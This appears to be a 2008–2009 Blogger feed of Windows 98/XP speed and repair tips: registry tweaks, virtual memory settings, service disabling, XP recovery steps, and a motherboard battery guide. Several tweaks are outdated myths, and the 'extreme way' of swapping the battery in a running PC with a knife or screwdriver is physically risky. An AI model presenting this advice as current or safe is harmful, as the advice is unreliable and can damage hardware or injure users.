:: Ridhars Blogger :: Newbie

Increase Your PC Speed

noreply@blogger.com (Ridwan Harris) — Thu, 27 Aug 2009 17:50:37 PDT

GREATLY INCREASE YOUR VIRTUAL RAM
This makes your computer faster by using part of your HD space as virtual RAM. ( Takes around a gigabyte of space,when initialized. but still speeds up your computer greatly!)

If your HD has less than 20GB of free space left then don’t do this.

Alright, this is how you do it:

Instructions:
1. Right Click on “My Computer” icon and select “Properties”.
2. Click on the Advanced tab.
3. Under Performance, click Settings.
4. Then click the Advanced tab on the button that pops up.
5. Under Virtual Memory at the bottom, click Change.
6. Click the Custom Size button.
7. For the initial size (depending on your HD space), type in anywhere from 1000-1500 (although i use 4000), and for the Maximum size type in anywhere from 2000-2500 (although i use 6000).

8. Click Set, and then exit out of all of the Windows.
9. Finally, restart your computer.
10. You now have a faster computer and 1-2gb of virtual RAM!
I did this personally and it worked great for me.

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MAKE YOUR PROCESSOR FASTER..

This trick work with AMD and Intel

first go to start and then Run
and go to regedit

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetContro lSession ManagerMemory Management

in the right side you will see SecondLevelDataCache clik modifier and change it to …..

writ 256 if your processeur is
Intel pentium 3 E
Pentium 4
AMD k6-3
AMD Thunderbird
Cyrix 3
Pentium 2 Mobile

writ 64 if your processeur
AMD Duron

writ 512 if your processeur is
AMD K6-2
Pentium 2
Pentium 3 Katmai
AMD Athlon

writ 1024 if your processeur is :
Pentium 2 Xeon
Pentium 3 Xeon

and 128 for processeur
Pentium Celeron
Pentium Celeron 2

THIS IS FOR NEW COMPUTER!
Actually this tweak is completely useless on newer computers, all it does is set the L2 cache size. Here’s a better explanation of it:

Myth – “Adjusting the SecondLevelDataCache Registry value to match your CPU’s L2 Cache size will improve performance.”

Reality – “If you do not set this registry value, Windows will use the HAL (Hardware Abstraction Layer) for retrieval of the L2 cache size automatically on boot up. If this fails, a default value of 256KB is used. This is where the myth that XP can only use 256KB of L2 cache comes from. But it’s false. The SecondLevelDataCache is designed as a secondary source of cache size information for computers on which the HAL cannot detect the L2 cache. The HAL is able to retrieve the L2 cache size from any CPU using the set-associative cache design (Pentium II or newer), it’s only the relatively few older processors with direct-mapped L2 caches that the HAL will not recognize. This tweak only applies to older computers (Pentium I or older) with over 64MB of memory. On these older systems, this tweak can improve performance by about 0.4%. Pentium II and later CPUs are not affected.”

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Open Regedit by clicking Start>Run and type in regedit.
Once Regedit is open, click the plus symbol next to the HKEY_CURRENT_USER folder, the plus symbol next to Control Panel, and then click the Desktop folder icon to display its contents. In the right pane, double-click MenuShowDelay to change its value. (This Registry location is referred to as HKEY_CURRENT_USERCONTROLPANELDESKTOPMENUSHOWDE LAY.) The default Value Data is 400, or 4/10 of a second. Change the Value Data to 0 for the least delay, and click OK. This will make menus appear instantly on your computer instead of having a delay.

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Open HKEY_LOCAL_MACHINESYSTEMCURRENTCONTROLSETCONTRO LFILESYSTEM. Right-click Filesystem, select New, and DWORD Value. Rename NewValue#1 on the right-side pane to DisableNTFSLast-AccessUpdate. Double-click this new entry, change the Value Data field from 0 to 1, and then click OK. This disables the constant updating of the dates when a file or folder were last updated. This will speed up the system.

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Open HKEY_CURRENT_USERSOFTWAREMICROSOFTWINDOWSCURRE NTVERSIONEXPLORER. Create a new DWORD Value called DesktopProcess, and set its Value Data to 1.
Expand HKEY_CURRENT_USER, expand Control Panel, and click Desktop. Double-click the AutoEndTasks string and change the value to 1. This causes all of the components of the explorer to run in one process, making your computer faster.
There is a caveat for some users here. Do not make this change if you are not running at least a Pentium processor and 16 MB of physical memory.

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Expand HKEY_LOCAL_MACHINE, expand SOFTWARE, expand Microsoft, expand Windows, and expand CurrentVersion. Right-click Explorer, expand New, click Key, and name the new key AlwaysUnloadDLL. Click AlwaysUnloadDLL, double-click the Default string, and change the value to 1. Windows tries to keep some DLL’s in memory when the program uses them. If a user has low memory, this can cause performance issues.

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Expand HKEY_CURRENT_USER, expand Control Panel, and click Desktop. Double-click the HungAppTimeout string and change the value to 1000. Now, double-click the WaitToKillAppTimeout, string and change the value to 2000. This sets your system up to more efficiently handle application hangups. It also will optimize the amount of time a system takes to close a program when you try to end Windows.

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Expand HKEY_LOCAL_MACHINE, expand System, expand CurrentControlSet, and click Control. Double-click the WaitToKillServiceTimeout string and change the value to 2000. This optimizes the time that it will take for Windows Services to close when the system is set to shut down.

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Expand HKEY_CURRENT_USER, expand Control Panel, click Desktop, and double-click the MenuShowDelay string in the right-hand pane. Change the value to 100. This will cause Desktop menus to appear almost instantly.
Close regedit.

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Set Recycle Bin to 1-3 percent of the hard drive space. To do this, right click on the Recycle Bin. Select properties. Move the slider down to the desired amount and click Ok. By default, the Recycle bin takes up too much of your space.

Top 20 Tips To Keep Your System Faster

noreply@blogger.com (Ridwan Harris) — Tue, 04 Aug 2009 19:56:01 PDT

1. Wallpapers: They slow your whole system down, so if you're willing to compromise, have a basic plain one instead!

2. Drivers: Update your hardware drivers as frequently as possible. New drivers tend to increase system speed especially in the case of graphics cards, their drivers are updated by the manufacturer very frequently!

3. Minimizing: If you want to use several programs at the same time then minimize those you are not using. This helps reduce the overload on RAM.

4. Boot Faster: The 'starting Windows 95/98' message on startup can delay your booting for a couple of seconds. To get rid of this message go to c:\ and find the file Msdos.sys. Remove the Read-Only option. Next, open it in Notepad or any other text editor. Finally, go to the text 'Options' within the file and make the following changes: Add BootDelay=0. To make your booting even faster, set add Logo=0 to remove the Windows logo at startup.

5. Restart only Windows: When restarting your PC, hold down Shift to only restart Windows rather than the whole system which will only take a fraction of the time.

6. Turn Off Animations: Go to Display Settings from the Control Panel and switch to the Effects Tab. Now turn off Show Windows Content While Dragging and Smooth Edges on Screen Fonts. This tip is also helpful with Windows XP because of the various fade/scroll effects.

7. Faster Start-Menu Access: Go to the Start menu and select Run. Now type Regedit and hit Enter. The Registry Editor will appear on the screen. Now, open the folder HKEY_CURRENT_USER\Control Panel\Desktop. You should see a MenuShowDelay value. If you don't then do the following: right click on a blank space in the right pane and select New\String. Change the name in the new value to MenuShowDelay. Now that we have the MenuShowDelay value, double click on it and enter 0 in the value data field. This sets the start menu delay to 0 milliseconds.

8. Resolutions: If you are willing to do anything for faster performance from your PC, then try lowering your display resolution. The lower it is, the faster your PC.

9. Turn off Active Desktop: Go to your Display Properties and switch to the Web tab. Uncheck View My Active Desktop As a Web Page. Since the Active Desktop option under Windows 98 uses a lot of system resources, this option can have a dramatic effect on the speed of the whole system.

10. Defragment Often: Windows 98's Defrag tool uses Application Acceleration from Intel which means that when you defragment your drive, data is physically arranged on the drive so that applications will load faster.

11. Take your PC to Bed: Using the Advanced Power Management feature under Windows 98 gives you the option to use the sleep command. That way, you can send your PC to sleep instead of shutting it down and then restarting it. It's as simple as pressing a button and then pressing the same button to wake it up. You can tell Windows after how many minutes/hours of inactivity to automatically sleep the machine in the Advanced Power Management section of the Control Panel.

12. Faster Internet Access: If you use the internet for reference and the sites you visit are rarely updated then try the following. In IE (the same can be done in Netscape) go to Tools, Internet Options. Next, click on Settings... in the Temporary Internet Files section. Finally, select Never for the first option and double the amount of storage space to use, click OK!

13. Benchmarking: Benchmarking can be very useful when run frequently. It can tell you how your PC's components are performing and then compare them to other machines like yours. For example, when you overclock your PC, you want to know how much more speed you have and whether it is stable. All this and more can be discovered using benchmarking. An excellent piece of software for doing this job is SiSoft Sandra which can be found in the Downloads File Archive!

14. Refresh the Taskbar without restarting: If you in some way change the taskbar, either in Regedit or elsewhere, you can refresh the task bar without restarting. Hold down Ctrl Alt Del, and double click on Explorer. Say Yes to close Explorer, but no to closing Windows. This will refresh the Taskbar and system tray.

15. Quick CD Eject: Instead of pushing the button on your drive, right-click your CD drive letter in My Computer and click on Eject. This will also remove any icons that have become associated with the CD drive.

16. Start Up Programs: Windows can be slowed down when programs run on start up. To eliminate this, check your Start up folder. You can access it from the start menu: Start, Programs, Start Up. Another way to eliminate programs from loading even before Windows actually starts is by doing the following: Click on Start, then Run. Type msconfig. It will take quite a long time for this program to load, but when you finally see it on your screen, explore the different tabs. They all have to do with how quickly your PC boots, so select what you want, and uncheck what you don't want!

17. Fonts: When Windows starts, it loads every single font in the Fonts folder. Therefore, the more fonts you have, the slower the booting process. To get rid of unwanted fonts, simply go to the Fonts folder under c:\windows and remove whatever you don't want. Fonts that have a red letter 'A' as their icon are system fonts, so don't delete them.

18. Stretching Wallpapers: Don't "stretch" your wallpaper in Windows 98 since it actually slows Windows down when you drag icons around on the desktop.

19. RAM Matters: If you have less than 32MB then you should seriously think of upgrading it to at least 64MB. Windows runs much more smoothly with 64MB or higher and tends to use less hard disk space for virtual memory.

20. Partitioning: A very nice little thing you can do to boost system performance. By partitioning your hard drive, splitting one physical drive into several logical ones, you can gain several advantages. 1. If you get a virus or you accidentally format a drive, not all will be lost. 2. By placing the swap file (Win386.swp) on a separate drive, The swap file will be less fragmented and thus, faster. 3. Place Windows on a separate drive and whenever you need to reinstall it, you rest assured that your data is safe on a separate drive. Partitioning can be done using a few programs such as FDisk which comes with DOS. However, FDisk formats everything on the hard disk before partitioning. Alternatively, you can use Partition Magic from Power Quest to partition your hard disk without losing your data.

Automatically close non-responsive programs

noreply@blogger.com (Ridwan Harris) — Wed, 31 Dec 2008 18:22:04 PST

All of us, every once in a while experience some difficulties with WIndows. The most famous one is the responsiveness(should I rather say non-responsiveness) of certain tasks. And when a task goes berserk or out of control, we mostly end up with explorer crashing and starting up again. Windows has a feature that can close all non responsive programs automatically, before they can do some damage and kill some other essential tasks.

The best way to enable this feature is to edit the registry. It’s very important to make a backup before editing, so if anything goes wrong and your OS starts to malfunction, you can always bring back your backup.

1.START>RUN… type in regedit

2.Go to HKEY_CURRENT_USER>CONTROL PANEL>DESKTOP and find the key AutoEndTask. Change its value from 0 to 1.

Now Windows will automatically end those task which are non-responsive in that moment.

Smart Data Recovery

noreply@blogger.com (Ridwan Harris) — Sat, 08 Nov 2008 02:08:13 PST

Smart Data Recovery by Smart PC Solutions is a perfect solution for rush data recovery. If you have no specialized experience in data recovery, but need your data back right away with no risk, Smart Data Recovery is an ideal tool for you.

Fixing your files and recovering your data, Smart Data Recovery is designed as a fully fool-proof solution. A simple step-by-step wizard guides you through the recovery process, asking you questions that are easy to understand and to answer, such as asking you to pick a disk that contains files to recover. To make things run even smoother, Smart Data Recovery has a U3/USB edition that runs from a flash memory card, minimizing unnecessary writes to the damaged disk.

Smart Data Recovery can often recover files even if your disk has been reformatted (on FAT formatted disks). Smart Data Recovery can recover data from disks formatted with all versions of FAT or NTFS. The pre-recovery preview demonstrates you exactly what the recovered file will look like, making you sure that the recovery is actually possible. Don't take our word on it!

Summary: Recovering data lost due to system malfunction or user error requires hours of work preceded by hours of research from unsuspecting victims. Educate yourself about possible ways to recover data from damaged disks and corrupted flash memory cards before the failure happens.

Smart Data Recovery is compatible with almost all kinds of data storage - from computer hard drives to digital cameras. It also supports flash drives, USB drives, floppy disks, memory sticks, PC cards, multimedia cards, and secure digital cards. The Data Recovery is able to restore all sorts of files, including electronic documents and pictures. It restores files from FAT32 and NTFS hard drives, has really simple interface and is compatible with Windows operations systems. Our aim is to prevent information loss, and prevent you from wasting your time and money. For different reasons, important documents and user files are sometimes lost. Without a recovery tool for documents and files, this may become a huge problem (one that leads to considerable inconveniences, and requires expensive solutions).

Smart Data Recovery applies a simple yet powerful algorithm, which makes it possible to restore your lost data quickly and effectively.

Setting up a Flash Drive to Run Automatically

noreply@blogger.com (Ridwan Harris) — Fri, 31 Oct 2008 00:50:09 PDT

USB flash drives
are a simple solution for easy backup and storage of important data. With a storage capacity that meets or exceeds the amount of data available on a DVD, USB drives are unique in that no other hardware is needed. Once plugged into a USB slot, the information on a flash drive is immediately available to the host computer. One of the nice features of CD-ROM and DVD drives is the ability to automatically run a disk when it's inserted into the drive. USB flash drives under Windows have similar functionality, but with a few limits where XP is concerned.

When a flash drive is inserted into a Windows XP driven computer, the operating system reads the files then offers the user options of how to continue (the same process as when a data CD is inserted in a drive). Depending on the type of files on the drive, the operating system displays options relevant to the file types
. In other words, if you insert a flash drive containing mp3 files, Windows will offer the option of automatically playing the music in Windows Media Player or another media program that might be installed on the computer. There is a check box under these options that controls whether or not the operating system performs the same function anytime a drive is inserted with the same type of files. Checking this box will allow you to skip this step, so the next time you insert a drive with MP3's the program you chose will run automatically.

Setting up a program to automatically run directly from a flash drive in Windows XP is a little more complicated. A third-party program will need to be installed that will give the user the option to run the program when the flash drive is inserted. The inability to auto run a program from a USB drive is a security feature in XP to prevent malevolent programs from compromising the operating system's integrity.

In contrast, Windows Vista does allow this feature. A program on the root directory of the flash drive is run by creating a text file (with a text editing program like Notepad) named autorun.inf. The autorun.inf file should include the line "[autorun] open=XXX.exe" (without the quotes) where XXX is the name of the program you want to run. Save this file to the flash drive, making sure the extension is 'inf', not 'txt'. Once the drive is inserted again, choose 'Always Do This For Software and Games', then 'Run This Program'. Whenever the drive is inserted again, the program will run automatically.

Some computers are also capable of booting directly from the flash drive by changing CMOS options. With the proper CMOS settings, the computer will first attempt to boot from a flash drive inserted in a USB port. If bootable files are not located on the flash drive, the operating system will automatically boot from your hard drive as normal. A handy feature should your computer crash and modifications to your unbootable operating system need to be performed.

Flash drives are able to do everything CD-ROMs and DVDs can do, usually with greater ease. The fact that new computers all have USB ports, but vary in DVD or CD-ROM availability, is an argument for the USB drive's indispensability over any other storage medium.

mIRC v6.34 With Server Patch

noreply@blogger.com (Ridwan Harris) — Sat, 25 Oct 2008 02:59:42 PDT

mIRC is a popular Internet Relay Chat client used by millions of people, and thousands of organizations, to communicate, share, play and work with each other on IRC networks around the world. Serving the Internet community for over a decade, mIRC has evolved into a powerful, reliable and fun piece of technology.

It has a clean, practical interface that is highly configurable and supports features such as buddy lists, file transfers, multi-server connections, SSL encryption, proxy support, UTF-8 display, customizable sounds, spoken messages, tray notifications, message logging, and more.

This version of mIRC (v6.34) is a small though important update to the previous version and has been released primarily to resolve an important issue with ‘if’ statements being processed incorrectly in the scripting language. Several other small issues have also been fixed in this release. Although this is a minor update, it includes important changes and is a highly recommended download.

How To Change Your Motherboard Battery

noreply@blogger.com (Ridwan Harris) — Thu, 23 Oct 2008 04:43:42 PDT

First the safety rules!

The inside of a computer is a bad place full of electricity and sharp edges.
On the electricity side always when working on you computer make sure that it’s still plugged in to the power socket and the power is turned off, this is to ensure that any static
From you is discharged through the earth. The inside of most computer cases are unfinished metal and has very sharp edges so be careful.

The first signs of a battery failing are:

* Your clock starts running slowly
* When you boot (start) your computer it has a problem finding your hardware (no hard drive, no cd rom)

To change the battery you need the following tools:

* a X-point screwdriver
* an anti-static strap(optional)
* a new battery (seems logical)

Then unplug all the cables from the back of the computer as you remove them make a note where they came from. (So when you finished you can put them back).

Move the computer somewhere where you can work on it with ease
Remove the cover by locating the screws around the outer edge (back) of the computer
Some computer cases only require you to remove 2 screws on one side then a panel can be removed allowing you access to the computers insides, others you must remove 6 screws and remove the whole case by sliding it to the rear and lifting it off.

Now make sure that you read the safety instructions about static.
Look inside you will see a round silver thing that looks about the size of a 10p piece (quarter). This is the battery itself, carefully lift the retaining clip and slide the battery out. That’s it removed now go to your local computer retailer, electrical retailer (Tandy/Radio shack) taking the old battery with you and get a new battery.
Back to your computer insert the new battery by lifting the clip and sliding the battery in.

Reinstall your case and plug all the cables back (you did remember to label them didn’t you)
Turn on your PC. You will now need to go into you bios….
Right the bios is the god of your computer. To access it, when your computer first starts you will see a black screen with white text.
If you look carefully you will see a line that says something like "press del for setup" or some other key (F2 or ESC or tab) this will take you to god's house where you can make lots of changes to the way your machine works.

It is also the place where you can make your nice computer in to a rather expensive door stop so be careful and don’t go playing with anything.
You will now be presented with a blue screen with a lot of options on it, the one we want is Load Optimised / Default settings.
Press the F10 key for save setting and type Y, the computer should now reboot.
If every thing went well then your computer will now be up and running.

Extreme way (NOT RECOMMENDED):

* Keep computer running.
* Lay it on it's side and remove side cover to expose Motherboard.
* Take any thin object, "small screwdriver, knife point, wood shiskabob skewer.
* Pull back the battery retaining clip.
* Toss the old battery in the junk receptacle, unless you belong to Greenpeace and want to save the earth.
* Install the new battery. No need to reset bios becasue the compter supplies voltage to the CMOS while it is running.
* Reset or resync clock with internet. Done!

Portable Google Chrome

noreply@blogger.com (Ridwan Harris) — Wed, 22 Oct 2008 06:49:44 PDT

Google Chrome is a browser that combines a minimal design with sophisticated technology to make the web faster, safer, and easier. It has one box for everything: Type in the address bar and get suggestions for both search and web pages. Will give you thumbnails of your top sites; Access your favorite pages instantly with lightning speed from any new tab.

Google Chrome is an open source web browser developed by Google. Its software architecture was engineered from scratch (using components from other open source software including WebKit and Mozilla Firefox) to cater for the changing needs of users and acknowledging that today most web sites aren't web pages but web applications. Design goals include stability, speed, security and a clean, simple and efficient user interface.

Download this portable browser at Here.

Tips for make XP as easier as never before

noreply@blogger.com (Ridwan Harris) — Sat, 18 Oct 2008 02:58:28 PDT

Opening Ports or Adding Allowed Programs with SP2's Firewall1.Click on Start / Run
2.Enter in firewall.cpl
3.Click on the Exceptions tab

Adding a Port for Internet Access1.Click on the Add Port button
2.Name it whatever you want
3.Enter in the ports you want to open

Adding a Program for Internet Access1.Click on Add Program... button
2.A list of all installed programs will be displayed
3.Highlight the one you want to include for Internet access
4.Click on the OK button

Autoexec.nt or Config.nt ErrorsIf you are getting errors similar to:
The system file is not suitable for running MS-DOS and Microsoft Windows applications. Choose 'Close' to terminate the application.

Try copying the file from \windows\repair directory to the one that is in the \windows\system32 directory.

Common Control Panel AppletsThe follow are some common Control Panel Applets that are located in the \windows\system32 directory.
If you find yourself using any of these frequently, then you can simply make shortcuts to them on your desktop

appwiz.cpl >>Add/Remove Programs
desk.cpl >> Display Properties
firewall.cpl >> Firewall Settings
inetcpl.cpl >> Internet Options
mmsys.cpl >> Sound and Audio
ncpa.cpl >> Network Connections
nusrmgr.cpl >> User Accounts
powercfg.cpl >> Power Options
sysdm.cpl >>System Properties
wscui.cpl >> Security Center
wuaucpl.cpl >> Automatic Updates Configuration Go to Top

Windows Explorer Opens Search Companion Rather than the Folder
If the Windows Explorer opens up the Search Companion rather than opening up the actual folder, the default setting for opening a folder is changed.
To correct this:

Start Regedit
Go to HKEY_CLASSES_ROOT \ Directory \ shell
Edit the default value to be explorer or none

Guest Only Network Access
If you try and connect to an XP computer and are shown a logins screen with only the computername/Guest,
You may need to change one of the Local Security Policies:
Got to Control Panel - Administrative Tools
Go to Local Policies - Security Options
Check teh Network access: Sharing and security model for local accounts
Set it to Classic - local users authenticate as themselves

Hiding a XP Computer from Network Neighborhood
If you want to share files from a XP computer,
yet want to remove it from showing up in the Network Neighborhood,
Run net config server /hidden:yes

Easy Way to Share Multiple Folders
If you need to share multiple folders, running the program SHRPUBW.EXE will bring up a simple dialog box to let you:
Browse to the folder you want to share
Enter in a Share name
Ender in a Share description
Set permissions. Several choices are available
Restart the process from within the same program Go to top

Not Viewing Zip Files as Folders
If you want to turn of WindowsXP showing Zip files as folders,
just run: regsvr32 /u zipfldr.dll

Setting Capslock, Numlock, Scroll Lock
If you want to set the startup state for any or all of these keys,
you just need to edit the registry.
Start Regedit
Go to HKEY_CURRENT_USER \ Control Panel \ Keyboard
Open InitialKeyboardIndicators
Change the value to one of the following numbers
0 - All Keys off
1 - Caps Lock on
2 - Num Lock on
4 - Scroll Lock on
For multiple keys, add their values:
3 - Caps Lock and Num Lock on
5 - Caps Lock and Scroll Lock on
6 - Num Lock and Scroll Lock on
7 - Caps Lock, Num Lock, and Scroll Lock on
Log off and back on again

Restoring Desktop Icon to the Quicklaunch Bar
If you mistakenly deleted the icon for the Desktop on the Quicklaunch toolbar
Go to C:\Documents and Settings\user_name\Application Data\Microsoft\Internet Explorer\Quick Launch
(where user_name is replaced by your login name)
Create a Text file called ShowDesktop.SCF with the following contents:
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop Go to top

Network Access After Norton Anti-Virus Install
Sometimes you can't access a WinXP computer after installing Norton Anti-Virus.
There might be a variety of errors at the other computer depending on the operating system.
On the XP computer, in the Event Viewer / System log, there will be the following error:
The server's configuration parameter "irpstacksize" is too small for the server to use a local device.
Start Regedit
Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
Edit the IRPStackSize
Give it a value of 15
Reboot the computer

Configure for Auto-Logon
If you are the only person using the computer and what to have it automatically log you on,
Start / Run / "control userpasswords2" - no quotes
Uncheck User must enter a user name and password to use this computer
Services You Can Disable
There are quite a few services you can disable from starting automatically.
This would be to speed up your boot time and free resources.
They are only suggestions so I suggestion you read the description of each one when you run Services
and that you turn them off one at a time.

Some possibilities are:
Alerter - Sends alert messages to specified users that are connected to the server computer.
Application Management - Allows software to tap directly into the Add/Remove Programs feature via the Windows Installer technology.
Background Intelligent Transfer Service - The Background Intelligent Transfer

Service is used by programs (such as Windows AutoUpdate) to download files by using spare bandwidth.
Clipbook - ClipBook permits you to cut and paste text and graphics over the network.
Error Reporting Service - Allows applications to send error reports to Microsoft in the event of an application fault.
Fast User Switching - Windows XP allows users to switch quickly between accounts, without requiring them to log off.
Help and Support - Allows the XP Built-in Help and Support Center to run.
IMAPI CD-Burning COM Service - You don't need this if you have other software to create CDs.
Indexing Service - Indexes contents and properties of files on local and remote computers; provides rapid access to files through flexible querying language.
IP SEC - Manages IP security policy and starts the ISAKMP/Oakley (IKE) and the IP security driver. If you are not on a domain, you likely don't need this running.
Messenger - Transmits net send and Alerter service messages between clients and servers. This is how a lot of pop-up windows start appearing on your desktop.
Net Logon - Supports pass-through authentication of account logon events for computers in a domain. If you are not on a domain, you don't need this running
Network DDE - Provides network transport and security for Dynamic Data Exchange (DDE) for programs running on the same computer or on different computers.
NT LM Security Support Provider - Provides security to remote procedure call (RPC) programs that use transports other than named pipes.
Performance Logs and Alerts - Collects performance data from local or remote computers based on preconfigured schedule parameters, then writes the data to a log or triggers an alert. If you don't need to monitor your performance logs, then you don't need this service.
Portable Media Serial Number - Retrieves the serial number of any portable music player connected to your computer
QOS RSVP - Provides network signaling and local traffic control setup functionality for QoS-aware programs and control applets.
Remote Desktop Help Session Manager - Manages and controls Remote Assistance. If you are not using Remote Desktop you don't need this service.
Remote Registry - Enables remote users to modify registry settings on this computer.
Routing & Remote Access - Offers routing services to businesses in local area and wide area network environments. Allows dial-in access.
Secondary Login - Enables starting processes under alternate credentials. This is what allows you to run an application as another user.
Smart Card - Manages access to smart cards read by this computer.
Smart Card Helper - Enables support for legacy non-plug and play smart-card readers used by this computer.
SSDP Discovery Service - Enables discovery of UPnP devices on your home network.
TCP/IP NetBIOS Helper - Enables support for NetBIOS over TCP/IP (NetBT) service and NetBIOS name resolution. This should not be needed in today's network environment.
Telnet - Enables a remote user to log on to this computer and run programs, and supports various TCP/IP Telnet clients.
Uninterruptible Power Supply Service - Manages an uninterruptible power supply (UPS) connected to the computer.
Universal Plug and Play Device Host - Provides support to host Universal Plug and Play devices
Upload Manager - Manages synchronous and asynchronous file transfers between clients and servers on the network.
Volume Shadow Copy Service - Manages and implements Volume Shadow Copies used for backup and other purposes.
Web Client - Enables Windows-based programs to create, access, and modify non-local files across the Internet.
Wireless Zero Configuration - Provides automatic configuration for the 802.11 adapters
WMI Performance Adapter - Provides performance library information from WMI HiPerf providers.

Cleaning the Prefetch Directory
WindowsXP has a new feature called Prefetch. This keeps a shortcut to recently used programs.
However it can fill up with old and obsolete programs.
To clean this periodically go to:
Star / Run / Prefetch
Press Ctrl-A to highlight all the shorcuts
Delete them Go to top

Not Displaying Logon, Logoff, Startup and Shutdown Status Messages
To turn these off:
Start Regedit
Go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system
If it is not already there, create a DWORD value named DisableStatusMessages
Give it a value of 1

Repair Install
If XP is corrupted to the point where none of the previous solutions get it to boot, you can do a Repair Install that might work as well as keep the current settings.
Make sure you have your valid WindowsXP key.
The whole process takes about half an hour depending on your computer
If you are being prompted for the administrator's password, you need to choose the 2nd repair option, not the first.
Insert and boot from your WindowsXP CD
At the second R=Repair option, press the R key
This will start the repair
Press F8 for I Agree at the Licensing Agreement
Press R when the directory where WindowsXP is installed is shown. Typically this is C:\WINDOWS
It will then check the C: drive and start copying files
It will automatically reboot when needed. Keep the CD in the drive.
You will then see the graphic part of the repair that is like during a normal install of XP (Collecting Information, Dynamic Update, Preparing Installation, Installing Windows, Finalizing Installation)
When prompted, click on the Next button
When prompted, enter your XP key
Normally you will want to keep the same Workgroup or Domain name
The computer will reboot
Then you will have the same screens as a normal XP Install
Activate if you want (usually a good idea)
Register if you want (but not necessary)
Finish
At this point you should be able to log in with any existing accounts. Go to top

NTOSKRNL Missing or Corrupt
If you get an error that NTOSKRNL not found:
Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Change to the drive that has the CD ROM.
CD i386
expand ntkrnlmp.ex_ C:\Windows\System32\ntoskrnl.exe
If WindowsXP is installed in a different location, just make the necessary change to C:\Windows
Take out the CD ROM and type exit

HAL.DLL Missing or Corrupt
If you get an error regarding a missing or corrupt hal.dll file, it might simply be the BOOT.INI file on the root of the C: drive that is misconfigured
Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Type bootcfg /list to show the current entries in the BOOT.INI file
Type bootcfg /rebuild to repair it
Take out the CD ROM and type exit

Corrupted or Missing \WINDOWS\SYSTEM32\CONFIG
If you get the error:
Windows could not start because the following files is missing or corrupt
\WINDOWS\SYSTEM32\CONFIG\SYSTEM or \WINDOWS\SYSTEM32\CONFIG\SOFTWARE
Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Enter in the administrator password when requested
cd \windows\system32\config
Depending on which section was corrupted:
ren software software.bad or ren system system.bad
Depending on which section was corrupted
copy \windows\repair\system
copy \windows\repair\software
Take out the CD ROM and type exit Go to top

NTLDR or NTDETECT.COM Not Found
If you get an error that NTLDR is not found during bootup,
If you have FAT32 partitions, it is much simpler than with NTFS.
Just boot with a Win98 floppy and copy the NTLDR or NTDETECT.COM files
from the i386 directory to the root of the C:\ drive.
For NTFS:
Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Enter in the administrator password when requested
Enter in the following commands (X: is replaced by the actual drive letter that is assigned to the CD ROM drive.
COPY X:\i386\NTLDR C\:
COPY X:\i386\NTDETECT.COM C:\
Take out the CD ROM and type exit

Bringing Up the Shutdown Dialog Box
Create a new txt file somewhere on your system, open it and put in this one line:
(new ActiveXObject("Shell.Application")).ShutdownWindows();
Save and Close the file. Change the extension to js and your got it.
You can make a shortcut to that file to make it easy to shut down your system.

Hiding the Last User Logged On
If you use the standard NT style of login and want to hide the last user:
Start the Group Policy Editor (gpedit.msc)
Go to Computer Configuration / Windows Settings / Security Settings / Local Policies / Security Options
Scroll down to Interactive logon: Do not display last user name
Set it to Enable Go to top

Poweroff at Shutdown
If your computer does not turn off the power when doing a shutdown,
you may need to edit the registry. I have all the correct BIOS and Power settings and still needed to do this.
Start Regedit
Go to HKEY_CURRENT_USER\Control Panel\Desktop
Edit the key PowerOffActive and give it a value of 1
You can do the same in HKEY_USERS\.DEFAULT\Control Panel\Desktop

Remembering Folder Settings
If XP does not remember your folder settings, delete or rename the following registry keys
[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags]

Preventing Applications from Stealing the Focus
To prevent applications from stealing the focus from the window you are working
Start Regedit
Go to HKEY_CURRENT_USER \ Control Panel \ Desktop
Edit the key ForegroundLockTimeout
Give it a value of 00030d40

Disable Explorer Thumbnail View
If you want disable the Explorer's ability to show the Thumbnail View ,
Start Regedit
Go to HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Explorer \ Advanced \
Change ClassicViewState to 1 Go to top

Disable Shared Documents
To disable the Shared Documents folder that shows up on the network
Start Regedit
Go to HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \
Create a new DWORD Value
Give it the name NoSharedDocuments
Give it a value of 1
Log off or reboot

Removing Thumbs.db Files
When viewing a folder with the Thumbnail view, WindowsXP creates a thumbs.db file.
This is a cache of the current pictures in that directory.
If you want to turn this feature off and save a little disk space
Start the Windows Explorer
Go to Tools / Folder Options / View
In the first section under Files and Folders, check Do not cache thumbnails
Now you can search for the thumbs.db file on your computer and remove them. No more should be created.

Enable / Disable the Task Manager
Start Regedit
Go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
Create the Dword value DisableTaskMgr
Give it a value of 0 to enable it
Give it a vaule of 1 to disable it Go to top

Clearing the Page File on Shutdown
Another way to set the computer to clear the pagefile without directly editing the registry is:
Click on the Start button
Go to the Control Panel
Administrative Tools
Local Security Policy
Local Policies
Click on Security Options
Right hand menu - right click on "Shutdown: Clear Virtual Memory Pagefile"
Select "Enable"
Reboot

If you want to clear the page file on each shutdown:
Start Regedit
Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ClearPageFileAtShutdown
Set the value to 1

No GUI Boot
If you don't need to see the XP boot logo,
Run MSCONFIG
Click on the BOOT.INI tab
Check the box for /NOGUIBOOT

Using the Classic Search in Explorer
If you prefer to use the classic search style in Explorer,
Start Regedit
Go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState
Add a String Key called Use Search Asst
Give it a value of no Go to top

